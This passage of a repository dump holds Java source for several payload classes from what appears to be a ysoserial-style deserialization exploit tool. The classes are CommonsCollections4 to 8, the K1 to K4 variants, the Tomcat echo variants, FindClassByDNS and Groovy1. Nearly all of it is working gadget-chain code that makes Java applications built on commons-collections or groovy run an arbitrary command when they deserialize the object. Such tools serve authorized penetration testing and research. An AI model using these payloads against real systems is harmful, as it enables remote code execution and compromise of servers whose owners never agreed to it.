4 | import java.util.Queue; 5 | 6 | import javax.xml.transform.Templates; 7 | 8 | import org.apache.commons.collections4.Transformer; 9 | import org.apache.commons.collections4.comparators.TransformingComparator; 10 | import org.apache.commons.collections4.functors.ChainedTransformer; 11 | import org.apache.commons.collections4.functors.ConstantTransformer; 12 | import org.apache.commons.collections4.functors.InstantiateTransformer; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 21 | 22 | /* 23 | * Variation on CommonsCollections2 that uses InstantiateTransformer instead of 24 | * InvokerTransformer. 25 | */ 26 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 27 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 28 | @Authors({ Authors.FROHOFF }) 29 | public class CommonsCollections4 implements ObjectPayload> { 30 | 31 | public Queue getObject(final String command) throws Exception { 32 | Object templates = Gadgets.createTemplatesImpl(command); 33 | 34 | ConstantTransformer constant = new ConstantTransformer(String.class); 35 | 36 | // mock method name until armed 37 | Class[] paramTypes = new Class[] { String.class }; 38 | Object[] args = new Object[] { "foo" }; 39 | InstantiateTransformer instantiate = new InstantiateTransformer( 40 | paramTypes, args); 41 | 42 | // grab defensively copied arrays 43 | paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); 44 | args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); 45 | 46 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); 47 | 48 | // create queue with numbers 49 | PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); 50 | queue.add(1); 51 | queue.add(1); 52 | 53 | // swap in values to arm 54 | Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); 55 | paramTypes[0] = Templates.class; 56 | args[0] = templates; 57 | 58 | return queue; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections4.class, args); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections5.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.Field; 4 | import java.lang.reflect.InvocationHandler; 5 | import java.util.HashMap; 6 | import java.util.Map; 7 | 8 | import javax.management.BadAttributeValueExpException; 9 | 10 | import org.apache.commons.collections.Transformer; 11 | import org.apache.commons.collections.functors.ChainedTransformer; 12 | import org.apache.commons.collections.functors.ConstantTransformer; 13 | import org.apache.commons.collections.functors.InvokerTransformer; 14 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 15 | import org.apache.commons.collections.map.LazyMap; 16 | 17 | import ysoserial.payloads.annotation.Authors; 18 | import ysoserial.payloads.annotation.Dependencies; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.JavaVersion; 22 | import ysoserial.payloads.util.PayloadRunner; 23 | import ysoserial.payloads.util.Reflections; 24 | 25 | /* 26 | Gadget chain: 27 | ObjectInputStream.readObject() 28 | BadAttributeValueExpException.readObject() 29 | TiedMapEntry.toString() 30 | LazyMap.get() 31 | ChainedTransformer.transform() 32 | ConstantTransformer.transform() 33 | InvokerTransformer.transform() 34 | Method.invoke() 35 | Class.getMethod() 36 | InvokerTransformer.transform() 37 | Method.invoke() 38 | Runtime.getRuntime() 39 | InvokerTransformer.transform() 40 | Method.invoke() 41 | Runtime.exec() 42 | 43 | Requires: 44 | commons-collections 45 | */ 46 | /* 47 | This only works in JDK 8u76 and WITHOUT a security manager 48 | 49 | https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 50 | */ 51 | @SuppressWarnings({"rawtypes", "unchecked"}) 52 | @PayloadTest ( precondition = "isApplicableJavaVersion") 53 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 54 | @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) 55 | public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { 56 | 57 | public BadAttributeValueExpException getObject(final String command) throws Exception { 58 | final String[] execArgs = new String[] { command }; 59 | // inert chain for setup 60 | final Transformer transformerChain = new ChainedTransformer( 61 | new Transformer[]{ new ConstantTransformer(1) }); 62 | // real chain for after setup 63 | final Transformer[] transformers = new Transformer[] { 64 | new ConstantTransformer(Runtime.class), 65 | new InvokerTransformer("getMethod", new Class[] { 66 | String.class, Class[].class }, new Object[] { 67 | "getRuntime", new Class[0] }), 68 | new InvokerTransformer("invoke", new Class[] { 69 | Object.class, Object[].class }, new Object[] { 70 | null, new Object[0] }), 71 | new InvokerTransformer("exec", 72 | new Class[] { String.class }, execArgs), 73 | new ConstantTransformer(1) }; 74 | 75 | final Map innerMap = new HashMap(); 76 | 77 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 78 | 79 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 80 | 81 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 82 | Field valfield = val.getClass().getDeclaredField("val"); 83 | Reflections.setAccessible(valfield); 84 | valfield.set(val, entry); 85 | 86 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 87 | 88 | return val; 89 | } 90 | 91 | public static void main(final String[] args) throws Exception { 92 | PayloadRunner.run(CommonsCollections5.class, args); 93 | } 94 | 95 | public static boolean isApplicableJavaVersion() { 96 | return JavaVersion.isBadAttrValExcReadObj(); 97 | } 98 | 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections6.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.io.Serializable; 15 | import java.lang.reflect.Field; 16 | import java.util.HashMap; 17 | import java.util.HashSet; 18 | import java.util.Map; 19 | 20 | /* 21 | Gadget chain: 22 | java.io.ObjectInputStream.readObject() 23 | java.util.HashSet.readObject() 24 | java.util.HashMap.put() 25 | java.util.HashMap.hash() 26 | org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() 27 | org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() 28 | org.apache.commons.collections.map.LazyMap.get() 29 | org.apache.commons.collections.functors.ChainedTransformer.transform() 30 | org.apache.commons.collections.functors.InvokerTransformer.transform() 31 | java.lang.reflect.Method.invoke() 32 | java.lang.Runtime.exec() 33 | 34 | by @matthias_kaiser 35 | */ 36 | @SuppressWarnings({"rawtypes", "unchecked"}) 37 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 38 | @Authors({ Authors.MATTHIASKAISER }) 39 | public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { 40 | 41 | public Serializable getObject(final String command) throws Exception { 42 | 43 | final String[] execArgs = new String[] { command }; 44 | 45 | final Transformer[] transformers = new Transformer[] { 46 | new ConstantTransformer(Runtime.class), 47 | new InvokerTransformer("getMethod", new Class[] { 48 | String.class, Class[].class }, new Object[] { 49 | "getRuntime", new Class[0] }), 50 | new InvokerTransformer("invoke", new Class[] { 51 | Object.class, Object[].class }, new Object[] { 52 | null, new Object[0] }), 53 | new InvokerTransformer("exec", 54 | new Class[] { String.class }, execArgs), 55 | new ConstantTransformer(1) }; 56 | 57 | Transformer transformerChain = new ChainedTransformer(transformers); 58 | 59 | final Map innerMap = new HashMap(); 60 | 61 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 62 | 63 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 64 | 65 | HashSet map = new HashSet(1); 66 | map.add("foo"); 67 | Field f = null; 68 | try { 69 | f = HashSet.class.getDeclaredField("map"); 70 | } catch (NoSuchFieldException e) { 71 | f = HashSet.class.getDeclaredField("backingMap"); 72 | } 73 | 74 | Reflections.setAccessible(f); 75 | HashMap innimpl = (HashMap) f.get(map); 76 | 77 | Field f2 = null; 78 | try { 79 | f2 = HashMap.class.getDeclaredField("table"); 80 | } catch (NoSuchFieldException e) { 81 | f2 = HashMap.class.getDeclaredField("elementData"); 82 | } 83 | 84 | Reflections.setAccessible(f2); 85 | Object[] array = (Object[]) f2.get(innimpl); 86 | 87 | Object node = array[0]; 88 | if(node == null){ 89 | node = array[1]; 90 | } 91 | 92 | Field keyField = null; 93 | try{ 94 | keyField = node.getClass().getDeclaredField("key"); 95 | }catch(Exception e){ 96 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 97 | } 98 | 99 | Reflections.setAccessible(keyField); 100 | keyField.set(node, entry); 101 | 102 | return map; 103 | 104 | } 105 | 106 | public static void main(final String[] args) throws Exception { 107 | PayloadRunner.run(CommonsCollections6.class, args); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections7.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.map.LazyMap; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.util.HashMap; 15 | import java.util.Hashtable; 16 | import java.util.Map; 17 | 18 | /* 19 | Payload method chain: 20 | 21 | java.util.Hashtable.readObject 22 | java.util.Hashtable.reconstitutionPut 23 | org.apache.commons.collections.map.AbstractMapDecorator.equals 24 | java.util.AbstractMap.equals 25 | org.apache.commons.collections.map.LazyMap.get 26 | org.apache.commons.collections.functors.ChainedTransformer.transform 27 | org.apache.commons.collections.functors.InvokerTransformer.transform 28 | java.lang.reflect.Method.invoke 29 | sun.reflect.DelegatingMethodAccessorImpl.invoke 30 | sun.reflect.NativeMethodAccessorImpl.invoke 31 | sun.reflect.NativeMethodAccessorImpl.invoke0 32 | java.lang.Runtime.exec 33 | */ 34 | 35 | @SuppressWarnings({"rawtypes", "unchecked"}) 36 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 37 | @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) 38 | 39 | public class CommonsCollections7 extends PayloadRunner implements ObjectPayload { 40 | 41 | public Hashtable getObject(final String command) throws Exception { 42 | 43 | // Reusing transformer chain and LazyMap gadgets from previous payloads 44 | final String[] execArgs = new String[]{command}; 45 | 46 | final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); 47 | 48 | final Transformer[] transformers = new Transformer[]{ 49 | new ConstantTransformer(Runtime.class), 50 | new InvokerTransformer("getMethod", 51 | new Class[]{String.class, Class[].class}, 52 | new Object[]{"getRuntime", new Class[0]}), 53 | new InvokerTransformer("invoke", 54 | new Class[]{Object.class, Object[].class}, 55 | new Object[]{null, new Object[0]}), 56 | new InvokerTransformer("exec", 57 | new Class[]{String.class}, 58 | execArgs), 59 | new ConstantTransformer(1)}; 60 | 61 | Map innerMap1 = new HashMap(); 62 | Map innerMap2 = new HashMap(); 63 | 64 | // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject 65 | Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); 66 | lazyMap1.put("yy", 1); 67 | 68 | Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); 69 | lazyMap2.put("zZ", 1); 70 | 71 | // Use the colliding Maps as keys in Hashtable 72 | Hashtable hashtable = new Hashtable(); 73 | hashtable.put(lazyMap1, 1); 74 | hashtable.put(lazyMap2, 2); 75 | 76 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 77 | 78 | // Needed to ensure hash collision after previous manipulations 79 | lazyMap2.remove("yy"); 80 | 81 | return hashtable; 82 | } 83 | 84 | public static void main(final String[] args) throws Exception { 85 | PayloadRunner.run(CommonsCollections7.class, args); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections8.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections4.bag.TreeBag; 4 | import org.apache.commons.collections4.comparators.TransformingComparator; 5 | import org.apache.commons.collections4.functors.InvokerTransformer; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 13 | @Authors({"navalorenzo"}) 14 | public class CommonsCollections8 extends PayloadRunner implements ObjectPayload { 15 | public CommonsCollections8() { 16 | } 17 | 18 | public static void main(String[] args) throws Exception { 19 | PayloadRunner.run(CommonsCollections8.class, args); 20 | } 21 | 22 | public TreeBag getObject(String command) throws Exception { 23 | Object templates = Gadgets.createTemplatesImpl(command); 24 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 25 | TransformingComparator comp = new TransformingComparator(transformer); 26 | TreeBag tree = new TreeBag(comp); 27 | tree.add(templates); 28 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 29 | return tree; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.functors.InvokerTransformer; 4 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections.map.LazyMap; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | HashMap 18 | TiedMapEntry.hashCode 19 | TiedMapEntry.getValue 20 | LazyMap.decorate 21 | InvokerTransformer 22 | templates... 23 | */ 24 | @SuppressWarnings({"rawtypes", "unchecked"}) 25 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 26 | @Authors({Authors.KORLR}) 27 | public class CommonsCollectionsK1 extends PayloadRunner implements ObjectPayload { 28 | 29 | public Map getObject(final String command) throws Exception { 30 | Object tpl = Gadgets.createTemplatesImpl(command); 31 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 32 | 33 | HashMap innerMap = new HashMap(); 34 | Map m = LazyMap.decorate(innerMap, transformer); 35 | 36 | Map outerMap = new HashMap(); 37 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 38 | outerMap.put(tied, "t"); 39 | // clear the inner map data, this is important 40 | innerMap.clear(); 41 | 42 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 43 | return outerMap; 44 | } 45 | 46 | public static void main(final String[] args) throws Exception { 47 | PayloadRunner.run(CommonsCollectionsK1.class, args); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK1TomcatEcho.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.functors.InvokerTransformer; 4 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections.map.LazyMap; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | HashMap 18 | TiedMapEntry.hashCode 19 | TiedMapEntry.getValue 20 | LazyMap.decorate 21 | InvokerTransformer 22 | templates... 23 | */ 24 | @SuppressWarnings({"rawtypes", "unchecked"}) 25 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 26 | @Authors({Authors.KORLR}) 27 | public class CommonsCollectionsK1TomcatEcho extends PayloadRunner implements ObjectPayload { 28 | 29 | public Map getObject(final String command) throws Exception { 30 | Object tpl = Gadgets.createTemplatesTomcatEcho(); 31 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 32 | 33 | HashMap innerMap = new HashMap(); 34 | Map m = LazyMap.decorate(innerMap, transformer); 35 | 36 | Map outerMap = new HashMap(); 37 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 38 | outerMap.put(tied, "t"); 39 | // clear the inner map data, this is important 40 | innerMap.clear(); 41 | 42 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 43 | return outerMap; 44 | } 45 | 46 | public static void main(final String[] args) throws Exception { 47 | PayloadRunner.run(CommonsCollectionsK1TomcatEcho.class, args); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections4.functors.InvokerTransformer; 4 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections4.map.LazyMap; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | same as K1, but use commons-collections4.0 18 | */ 19 | @SuppressWarnings({"rawtypes", "unchecked"}) 20 | @Dependencies({"commons-collections:commons-collections4:4.0"}) 21 | @Authors({Authors.KORLR}) 22 | public class CommonsCollectionsK2 extends PayloadRunner implements ObjectPayload { 23 | 24 | public Map getObject(final String command) throws Exception { 25 | Object tpl = Gadgets.createTemplatesImpl(command); 26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 27 | 28 | HashMap innerMap = new HashMap(); 29 | Map m = LazyMap.lazyMap(innerMap, transformer); 30 | 31 | Map outerMap = new HashMap(); 32 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 33 | outerMap.put(tied, "t"); 34 | // clear the inner map data, this is important 35 | innerMap.clear(); 36 | 37 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 38 | return outerMap; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsCollectionsK2.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK2TomcatEcho.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections4.functors.InvokerTransformer; 4 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections4.map.LazyMap; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | same as K1, but use commons-collections4.0 18 | */ 19 | @SuppressWarnings({"rawtypes", "unchecked"}) 20 | @Dependencies({"commons-collections:commons-collections4:4.0"}) 21 | @Authors({Authors.KORLR}) 22 | public class CommonsCollectionsK2TomcatEcho extends PayloadRunner implements ObjectPayload { 23 | 24 | public Map getObject(final String command) throws Exception { 25 | Object tpl = Gadgets.createTemplatesTomcatEcho(); 26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 27 | 28 | HashMap innerMap = new HashMap(); 29 | Map m = LazyMap.lazyMap(innerMap, transformer); 30 | 31 | Map outerMap = new HashMap(); 32 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 33 | outerMap.put(tied, "t"); 34 | // clear the inner map data, this is important 35 | innerMap.clear(); 36 | 37 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 38 | return outerMap; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsCollectionsK2TomcatEcho.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK3.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.util.HashMap; 15 | import java.util.HashSet; 16 | import java.util.Map; 17 | 18 | /* 19 | Gadget chain: 20 | java.util.HashMap.readObject() 21 | java.util.HashMap.hash() 22 | TiedMapEntry.hashCode() 23 | TiedMapEntry.getValue() 24 | LazyMap.get() 25 | ChainedTransformer.transform() 26 | */ 27 | @SuppressWarnings({"rawtypes", "unchecked"}) 28 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 29 | @Authors({Authors.KORLR}) 30 | public class CommonsCollectionsK3 extends PayloadRunner implements ObjectPayload { 31 | 32 | public Map getObject(final String command) throws Exception { 33 | final String[] execArgs = new String[]{command}; 34 | 35 | final Transformer[] transformers = new Transformer[]{ 36 | new ConstantTransformer(Runtime.class), 37 | new InvokerTransformer("getMethod", new Class[]{ 38 | String.class, Class[].class}, new Object[]{ 39 | "getRuntime", new Class[0]}), 40 | new InvokerTransformer("invoke", new Class[]{ 41 | Object.class, Object[].class}, new Object[]{ 42 | null, new Object[0]}), 43 | new InvokerTransformer("exec", 44 | new Class[]{String.class}, execArgs), 45 | new ConstantTransformer(new HashSet())}; 46 | ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{}); 47 | 48 | HashMap innerMap = new HashMap(); 49 | Map m = LazyMap.decorate(innerMap, inertChain); 50 | 51 | Map outerMap = new HashMap(); 52 | TiedMapEntry tied = new TiedMapEntry(m, "v"); 53 | outerMap.put(tied, "t"); 54 | innerMap.clear(); 55 | 56 | Reflections.setFieldValue(inertChain, "iTransformers", transformers); 57 | return outerMap; 58 | } 59 | 60 | public static void main(final String[] args) throws Exception { 61 | PayloadRunner.run(CommonsCollectionsK3.class, args); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK4.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections4.Transformer; 4 | import org.apache.commons.collections4.functors.ChainedTransformer; 5 | import org.apache.commons.collections4.functors.ConstantTransformer; 6 | import org.apache.commons.collections4.functors.InvokerTransformer; 7 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections4.map.LazyMap; 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.util.HashMap; 15 | import java.util.HashSet; 16 | import java.util.Map; 17 | 18 | /* 19 | Gadget chain: 20 | java.util.HashMap.readObject() 21 | java.util.HashMap.hash() 22 | TiedMapEntry.hashCode() 23 | TiedMapEntry.getValue() 24 | LazyMap.get() 25 | ChainedTransformer.transform() 26 | */ 27 | @SuppressWarnings({"rawtypes", "unchecked"}) 28 | @Dependencies({"commons-collections:commons-collections4:4.0"}) 29 | @Authors({Authors.KORLR}) 30 | public class CommonsCollectionsK4 extends PayloadRunner implements ObjectPayload { 31 | 32 | public Map getObject(final String command) throws Exception { 33 | final String[] execArgs = new String[]{command}; 34 | 35 | final Transformer[] transformers = new Transformer[]{ 36 | new ConstantTransformer(Runtime.class), 37 | new InvokerTransformer("getMethod", new Class[]{ 38 | String.class, Class[].class}, new Object[]{ 39 | "getRuntime", new Class[0]}), 40 | new InvokerTransformer("invoke", new Class[]{ 41 | Object.class, Object[].class}, new Object[]{ 42 | null, new Object[0]}), 43 | new InvokerTransformer("exec", 44 | new Class[]{String.class}, execArgs), 45 | new ConstantTransformer(new HashSet())}; 46 | ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{}); 47 | 48 | HashMap innerMap = new HashMap(); 49 | Map m = LazyMap.lazyMap(innerMap, inertChain); 50 | 51 | Map outerMap = new HashMap(); 52 | TiedMapEntry tied = new TiedMapEntry(m, "v"); 53 | outerMap.put(tied, "t"); 54 | innerMap.clear(); 55 | 56 | Reflections.setFieldValue(inertChain, "iTransformers", transformers); 57 | return outerMap; 58 | } 59 | 60 | public static void main(final String[] args) throws Exception { 61 | PayloadRunner.run(CommonsCollectionsK4.class, args); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/DynamicDependencies.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface DynamicDependencies { 9 | 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/FindClassByDNS.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import ysoserial.payloads.annotation.Authors; 4 | import ysoserial.payloads.annotation.Dependencies; 5 | import ysoserial.payloads.annotation.PayloadTest; 6 | import ysoserial.payloads.util.ClassUtil; 7 | import ysoserial.payloads.util.PayloadRunner; 8 | import ysoserial.payloads.util.Reflections; 9 | 10 | import java.io.IOException; 11 | import java.net.InetAddress; 12 | import java.net.URL; 13 | import java.net.URLConnection; 14 | import java.net.URLStreamHandler; 15 | import java.util.HashMap; 16 | 17 | @SuppressWarnings({ "rawtypes", "unchecked" }) 18 | @PayloadTest(skip = "true") 19 | @Dependencies() 20 | public class FindClassByDNS implements ObjectPayload { 21 | 22 | public Object getObject(final String command) throws Exception { 23 | 24 | String[] cmds = command.split("\\|"); 25 | 26 | if(cmds.length != 2){ 27 | System.out.println("|"); 28 | return null; 29 | } 30 | 31 | String url = cmds[0]; 32 | String clazzName = cmds[1]; 33 | 34 | URLStreamHandler handler = new SilentURLStreamHandler(); 35 | HashMap ht = new HashMap(); 36 | URL u = new URL(null, url, handler); 37 | ht.put(u, ClassUtil.genClass(clazzName)); 38 | Reflections.setFieldValue(u, "hashCode", -1); 39 | return ht; 40 | } 41 | 42 | /** 43 | *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. 44 | * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior 45 | * using the serialized object.

46 | * 47 | * Potential false negative: 48 | *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the 49 | * second resolution.

50 | */ 51 | static class SilentURLStreamHandler extends URLStreamHandler { 52 | 53 | protected URLConnection openConnection(URL u) throws IOException { 54 | return null; 55 | } 56 | 57 | protected synchronized InetAddress getHostAddress(URL u) { 58 | return null; 59 | } 60 | } 61 | 62 | 63 | public static void main(final String[] args) throws Exception { 64 | PayloadRunner.run(FindClassByDNS.class, args); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Groovy1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.Map; 5 | 6 | import org.codehaus.groovy.runtime.ConvertedClosure; 7 | import org.codehaus.groovy.runtime.MethodClosure; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.PayloadRunner; 13 | 14 | /* 15 | Gadget chain: 16 | ObjectInputStream.readObject() 17 | PriorityQueue.readObject() 18 | Comparator.compare() (Proxy) 19 | ConvertedClosure.invoke() 20 | MethodClosure.call() 21 | ... 22 | Method.invoke() 23 | Runtime.exec() 24 | 25 | Requires: 26 | groovy 27 | */ 28 | 29 | @SuppressWarnings({ "rawtypes", "unchecked" }) 30 | @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) 31 | @Authors({ Authors.FROHOFF }) 32 | public class Groovy1 extends PayloadRunner implements ObjectPayload { 33 | 34 | public InvocationHandler getObject(final String command) throws Exception { 35 | final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); 36 | 37 | final Map map = Gadgets.createProxy(closure, Map.class); 38 | 39 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); 40 | 41 | return handler; 42 | } 43 | 44 | public static void main(final String[] args) throws Exception { 45 | PayloadRunner.run(Groovy1.class, args); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Hibernate2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import 